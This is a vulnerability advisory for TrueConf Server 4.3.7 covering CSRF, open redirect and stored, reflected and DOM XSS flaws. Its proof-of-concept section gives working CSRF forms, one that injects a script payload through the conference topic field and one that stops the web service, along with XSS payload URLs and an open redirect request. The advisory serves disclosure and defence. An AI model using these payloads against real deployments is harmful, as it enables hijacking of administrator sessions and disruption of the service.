### Summary
TrueConf Server is a powerful, high-quality and highly secured video conferencing software server. It is specially designed to work with up to 250 participants in a multipoint conference over LAN or VPN networks. TrueConf Server requires no hardware and includes client applications for all popular platforms, making it an easy-to-set up, unified communications solution.
### Description
The administration interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.
Input passed via the 'redirect_url' GET parameter is not properly verified before being used to redirect users. This can be exploited to redirect a user to an arbitrary website e.g. when a user clicks a specially crafted link to the affected script hosted on a trusted domain.
TrueConf also suffers from multiple stored, reflected and DOM XSS issues when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
### Vendor
TrueConf LLC - https://www.trueconf.com
### Affected Version
* 4.3.7.12255
* 4.3.7.12219
### Tested On
* Microsoft Windows 7 Professional SP1 (EN)
* Apache/2.4.17 (Win32)
* PHP/5.4.41
### PoC
CSRF Stored XSS:
```
<html>
<body>
<form action="http://127.0.0.1:8888/admin/conferences/applyCreate" method="POST">
<input type="hidden" name="send_invite_mail" value="1" />
<input type="hidden" name="invitation_type" value="-1" />
<input type="hidden" name="hide_invitation_type" value="-1" />
<input type="hidden" name="date" value="22.01.2017" />
<input type="hidden" name="time-field" value="17:27" />
<input type="hidden" name="time_zone" value="60" />
<input type="hidden" name="subtype" value="3" />
<input type="hidden" name="podiums" value="6" />
<input type="hidden" name="cid" value="\c\dfa95f7e1d" />
<input type="hidden" name="key" value="dfa95f7e1d" />
<input type="hidden" name="topic" value="<script>alert('XSS')</script>" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="owner" value="" />
<input type="hidden" name="gconf-edit" value="ok" />
<input type="hidden" name="webTtype" value="0" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
```
Reflected XSS:
```
http://127.0.0.1:8888/admin/conferences/get-all-status/?keys[]=<img src=j onerror=confirm(251) >
http://127.0.0.1:8888/admin/conferences/list/?sort=status%26'%22()%26%25<div><ScRiPt%20>prompt(251)</ScRiPt>
http://127.0.0.1:8888/admin/group/list/?checked_group_id=0001&sort=name
http://127.0.0.1:8888/admin/group/list/?checked_group_id=' onmouseover=confirm(251) ?
```
DOM XSS:
```
http://127.0.0.1:8888/admin/group?'\><script>confirm("XSS")</script>
http://127.0.0.1:8888/admin/conferences/list/?domxss=javascript:domxssExecutionSink(1,"'\"><script>alert("XSS")</script>
```
Open Redirect:
Request:
```
GET /admin/general/change-lang?lang_on=en&redirect_url=http://www.zeroscience.mk HTTP/1.1
Host: 127.0.0.1:8888
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```
Response:
```
HTTP/1.1 302 Found
Date: Thu, 22 Sep 2016 21:15:40 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.zeroscience.mk
Content-Length: 0
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
```
CSRF Stop Web Service:
```
<html>
<body>
<form action="http://127.0.0.1/admin/service/stop/" method="POST">
<input type="submit" value="Submit form" />
</form>
</body>
</html>
```
暂无评论